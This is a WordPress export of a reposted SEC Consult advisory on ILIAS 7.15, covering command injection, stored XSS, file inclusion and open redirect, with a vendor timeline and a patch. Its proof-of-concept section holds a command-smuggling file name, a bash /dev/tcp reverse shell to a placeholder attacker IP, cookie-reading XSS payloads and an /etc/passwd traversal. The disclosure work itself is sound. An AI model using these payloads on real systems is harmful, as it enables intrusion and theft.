{"id":34563,"date":"2022-12-09T19:08:10","date_gmt":"2022-12-09T16:08:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170181\/SA-20221206-0.txt"},"modified":"2022-12-12T11:07:18","modified_gmt":"2022-12-12T07:37:18","slug":"ilias-elearning-7-15-command-injection-xss-lfi-open-redirect","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ilias-elearning-7-15-command-injection-xss-lfi-open-redirect\/","title":{"rendered":"ILIAS eLearning 7.15 Command Injection \/ XSS \/ LFI \/ Open Redirect"},"content":{"rendered":"<p dir=\"ltr\">SEC Consult Vulnerability Lab Security Advisory &lt; 20221206-0 &gt;<br \/>\n=======================================================================<br \/>\ntitle: Multiple critical vulnerabilities<br \/>\nproduct: ILIAS eLearning platform<br \/>\nvulnerable version: &lt;= 7.15<br \/>\nfixed version: 7.16<br \/>\nCVE number: CVE-2022-45915, CVE-2022-45916, CVE-2022-45917,<br \/>\nCVE-2022-45918<br \/>\nimpact: critical<br \/>\nhomepage: https:\/\/www.ilias.de<br \/>\nfound: 2022-09-30<br \/>\nby: Anna Hartig (Office Bochum)<br \/>\nConstantin Schwarz (Office Bochum)<br \/>\nNiklas Schilling (Office Munich)<br \/>\nSEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">An integrated part of SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">https:\/\/www.sec-consult.com<\/p>\n<p dir=\"ltr\">=======================================================================<\/p>\n<p dir=\"ltr\">Vendor description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n&#8220;Around since 1998, ILIAS is a powerful learning management system that fulfills<br \/>\nall your requirements. Using its integrated tools, small and large businesses,<br \/>\nuniversities, schools and public authorities are able to create tailored,<br \/>\nindividual learning scenarios.&#8221;<\/p>\n<p dir=\"ltr\">Source: https:\/\/www.ilias.de\/en\/<\/p>\n<p dir=\"ltr\">Business recommendation:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nThe vendor provides a patch which should be installed immediately.<\/p>\n<p dir=\"ltr\">SEC Consult highly recommends to perform a thorough security review of the product<br \/>\nconducted by security professionals to identify and resolve potential further<br \/>\nsecurity issues.<\/p>\n<p dir=\"ltr\">Vulnerability overview\/description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Authenticated Direct OS Command Injection &#8211; CVE-2022-45915<br \/>\nILIAS utilizes several third-party programs to perform tasks like creating PDF<br \/>\nfiles or scanning uploaded files for known viruses. These are called using the<br \/>\nPHP exec() function. In several instances, the arguments passed to the exec()<br \/>\nfunction contain user input that is not properly sanitized.<br \/>\nBy performing malicious configuration steps or uploading dangerous files, an<br \/>\nattacker can execute arbitrary system commands with the rights of the web server<br \/>\nuser (www-data).<br \/>\nThe privilege required for the different instances of command injection range<br \/>\nfrom low rights to admin rights.<\/p>\n<p dir=\"ltr\">2) Stored Cross-Site Scripting &#8211; CVE-2022-45916<br \/>\nMultiple stored cross-site scripting vulnerabilities were identified in ILIAS<br \/>\ncourse items. These were either achieved by bypassing existing XSS filters or<br \/>\nsimply by exploiting missing input validation altogether. This results in the<br \/>\nexecution of attacker-controlled JavaScript code by the user&#8217;s browser.<br \/>\nThe attacker requires the right to create course items, e.g., as a tutor of a<br \/>\ncourse.<\/p>\n<p dir=\"ltr\">3) Local File Inclusion &#8211; CVE-2022-45918<br \/>\nThe included SCORM editor features a debugger that gives authors insights into<br \/>\nthe current SCORM player session, as well as previous sessions. When accessing<br \/>\nthe logs of previous sessions, the debugger fails to validate the requested<br \/>\nfile path, allowing for arbitrary filesystem access.<\/p>\n<p dir=\"ltr\">4) Open Redirect &#8211; CVE-2022-45917<br \/>\nThe function shib_logout.php redirects the user to a URL specified in the<br \/>\n&#8220;return&#8221; parameter. Since this parameter is not validated, an attacker can use<br \/>\nit to redirect a victim to an arbitrary website. This is a powerful tool in<br \/>\nphishing campaigns, as it allows hiding the malicious webpage behind a link that<br \/>\nlooks like it would take you to the real ILIAS webpage.<\/p>\n<p dir=\"ltr\">Proof of concept:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Authenticated Direct OS Command Injection &#8211; CVE-2022-45915<br \/>\nMultiple instances of command injection vulnerabilities were identified:<\/p>\n<p dir=\"ltr\">a) ZIP archive upload<br \/>\nNormal users with open assessments can submit their solution by uploading a ZIP<br \/>\narchive. These archives are extracted on the server and scanned for viruses<br \/>\nrecursively. The directory and file names can be used by an attacker to inject<br \/>\nsystem commands, e.g., by including a directory with the name<br \/>\n$(touch \/tmp\/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker<br \/>\nis able to get a reverse shell on the ILIAS webserver with the rights of the<br \/>\nweb server user (www-data).<\/p>\n<p dir=\"ltr\">b) Media object creation<br \/>\nILIAS can be configured so that users can create media objects based on files<br \/>\ninside an &#8220;Upload Directory&#8221;. Before these objects are created, the files are<br \/>\nscanned for viruses. The file names can be used by an attacker to inject system<br \/>\ncommands. By placing a file with a name like $(touch \/tmp\/pwned) inside the<br \/>\nupload directory and then creating a media object based on it, an attacker is<br \/>\nable to execute arbitrary system commands with the rights of www-data on the<br \/>\nserver.<\/p>\n<p dir=\"ltr\">c) PDF document creation<br \/>\nILIAS provides users the functionality to export content as PDF files. A user<br \/>\nwith admin rights can configure the path to the preferred PDF renderer. An<br \/>\nattacker can use this parameter to inject system commands. Due to missing<br \/>\ninput validation it is possible to inject multiple commands. The path to<br \/>\nwkhtmltopdf has to be included in the payload, as ILIAS checks for it. By<br \/>\nchanging the path to:<\/p>\n<p dir=\"ltr\">\/usr\/local\/bin\/wkhtmltopdf; bash -c &#8220;bash -i &gt;&amp; \/dev\/tcp\/&lt;IP_Address_Attacker&gt;\/13373 0&gt;&amp;1&#8221;;<\/p>\n<p dir=\"ltr\">an attacker can open a reverse shell with the rights of www-data that connects<br \/>\nto the attacker&#8217;s machine on port 13373. The reverse shell is initiated when<br \/>\nthe export function is triggered.<br \/>\nNo PDF renderer has to be installed for this vulnerability to be exploitable.<\/p>\n<p dir=\"ltr\">2) Stored Cross-Site Scripting &#8211; CVE-2022-45916<br \/>\nMultiple instances of stored cross-site scripting were identified:<\/p>\n<p dir=\"ltr\">a) Several Stored XSS Attacks in Tests<br \/>\nAn attacker must be able to create new tests in which the JavaScript code will<br \/>\nbe embedded. If a victim then later accesses one of those tests, the XSS payload will<br \/>\nbe triggered. The &#8220;Question&#8221; input field of a test has a filter in place, which<br \/>\ncorrectly removes HTML tags such as &lt;script&gt; or<br \/>\n&lt;img src=&#8221;x&#8221; onerror=&#8221;alert(document.cookie)&#8221;&gt;. By making use of half open HTML<br \/>\ntags, this filter can be successfully bypassed. E.g.<\/p>\n<p dir=\"ltr\">&lt;img src=&#8221;x&#8221; onerror=&#8221;alert(document.cookie)&#8221;<\/p>\n<p dir=\"ltr\">This half open HTML tag can also be used in the &#8220;Introductory Message&#8221; of a test<br \/>\nto trigger an XSS. It&#8217;s important to end the JavaScript code with a quotation<br \/>\nmark or space, to properly separate it from successive HTML tags, after it&#8217;s<br \/>\nembedded into a test.<\/p>\n<p dir=\"ltr\">Finally, the &#8220;Question&#8221; input field of the question type &#8220;Long Menu&#8221; was<br \/>\nidentified to use no filtering at all, resulting in the unrestricted use of<br \/>\narbitrary HTML tags such as &lt;script&gt;.<\/p>\n<p dir=\"ltr\">b) Stored XSS in title of course items<br \/>\nAn attacker with rights to create an arbitrary course item can conduct a stored<br \/>\nXSS attack by setting the title of the element to:<\/p>\n<p dir=\"ltr\">&#8221; onclick=&#8221;alert(document.cookie)&#8221;<\/p>\n<p dir=\"ltr\">When a user clicks on the button to the right of the title, the XSS payload is<br \/>\ntriggered.<\/p>\n<p dir=\"ltr\">c) Stored XSS in HTML sites<br \/>\nAn attacker with rights to edit an HTML Learning Module can conduct a stored<br \/>\nXSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even<br \/>\nif this behavior is intended, it is insecure and considered bad practice.<\/p>\n<p dir=\"ltr\">3) Local File Inclusion &#8211; CVE-2022-45918<br \/>\nAs a prerequisite, the SCORM debugger must be enabled for the whole ILIAS<br \/>\nplatform. An attacker with access to a SCORM player can open the SCORM<br \/>\ndebugger and request the logs of a previous session. By changing the value of<br \/>\nthe &#8220;logFile&#8221; query parameter of the request, they can read arbitrary<br \/>\nfiles of the server&#8217;s filesystem. For example, to read the passwd file<br \/>\non Linux systems, an attacker can change the value of the parameter logfile<br \/>\nto &#8220;..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd&#8221;.<\/p>\n<p dir=\"ltr\">4) Open Redirect &#8211; CVE-2022-45917<br \/>\nThe shib_logout function is vulnerable to an open redirect.<br \/>\nA URL that successfully uses this vulnerability to redirect to<br \/>\n&#8220;https:\/\/www.sec-consult.com&#8221; is:<\/p>\n<p dir=\"ltr\">http:\/\/ILIAS-URL\/shib_logout.php?action=logout&#038;return=https:\/\/www.sec-consult.com<\/p>\n<p dir=\"ltr\">Vulnerable \/ tested versions:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nThe vulnerabilities were identified in ILIAS version 7.14.<br \/>\nHowever, a brief analysis of the source code suggests, that several<br \/>\nvulnerabilities are present in versions dating back to at least 3.8.4.<br \/>\nHence it is assumed that most current versions of the product are affected.<\/p>\n<p dir=\"ltr\">The vulnerabilities were partly fixed in version 7.15, a complete patch is<br \/>\navailable with version 7.16.<\/p>\n<p dir=\"ltr\">Vendor contact timeline:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n2022-10-07: Contacting vendor through security@lists.ilias.de<br \/>\n2022-10-19: Sending initial email again, as the vendor did not yet respond<br \/>\n2022-10-25: Extending email recipients to info@ilias.de, datenschutz@ilias.de and<br \/>\nidentified personal email addresses from the vendor&#8217;s website.<br \/>\n2022-10-25: Sending the advisory to the provided contact<br \/>\n2022-10-31: Vendor requests more information<br \/>\n2022-10-31: Sending detailed PoC<br \/>\n2022-11-10: Asking for current status<br \/>\n2022-11-22: Vendor confirms that patches will be available by 2022-11-26<br \/>\n2022-11-22: Asking about the version numbers of mentioned patches and CVE IDs<br \/>\n2022-11-23: Vendor provides information about patched versions; CVE IDs will be<br \/>\nrequested by SEC Consult<br \/>\n2022-11-24: Vendor releases patched version 7.16<br \/>\n2022-12-06: Public release of security advisory<\/p>\n<p dir=\"ltr\">Solution:<br \/>\n&#8212;&#8212;&#8212;<br \/>\nUpdate ILIAS to version 7.16 or newer from the vendor&#8217;s website:<br \/>\nhttps:\/\/docu.ilias.de\/goto.php?target=st_229<\/p>\n<p dir=\"ltr\">Workaround:<br \/>\n&#8212;&#8212;&#8212;&#8211;<br \/>\nNone<\/p>\n<p dir=\"ltr\">Advisory URL:<br \/>\n&#8212;&#8212;&#8212;&#8212;-<br \/>\nhttps:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">SEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">About SEC Consult Vulnerability Lab<br \/>\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>\nAtos company. It ensures the continued knowledge gain of SEC Consult in the<br \/>\nfield of network and application security to stay ahead of the attacker. The<br \/>\nSEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>\nthe evaluation of new offensive and defensive technologies for our customers.<br \/>\nHence our customers obtain the most current information about vulnerabilities<br \/>\nand valid recommendation about the risk profile of new technologies.<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>\nInterested to work with the experts of SEC Consult?<br \/>\nSend us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p dir=\"ltr\">Interested in improving your cyber security with the experts of SEC Consult?<br \/>\nContact our local offices https:\/\/sec-consult.com\/contact\/<br \/>\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">Mail: security-research at sec-consult dot com<br \/>\nWeb: https:\/\/www.sec-consult.com<br \/>\nBlog: http:\/\/blog.sec-consult.com<br \/>\nTwitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p dir=\"ltr\">EOF A. Hartig, C. Schwarz, N. Schilling \/ @2022<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20221206-0 &gt; ======================================================================= title: Multiple critical vulnerabilities product: ILIAS eLearning platform vulnerable version: &lt;= 7.15 fixed version: 7.16 CVE number: CVE-2022-45915, CVE-2022-45916, CVE-2022-45917, CVE-2022-45918 impact: critical homepage: https:\/\/www.ilias.de found: 2022-09-30 by: Anna Hartig (Office Bochum) Constantin Schwarz (Office Bochum) Niklas Schilling (Office Munich) SEC Consult Vulnerability Lab An &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34563","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34563"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34563\/revisions"}],"predecessor-version":[{"id":34742,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34563\/revisions\/34742"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}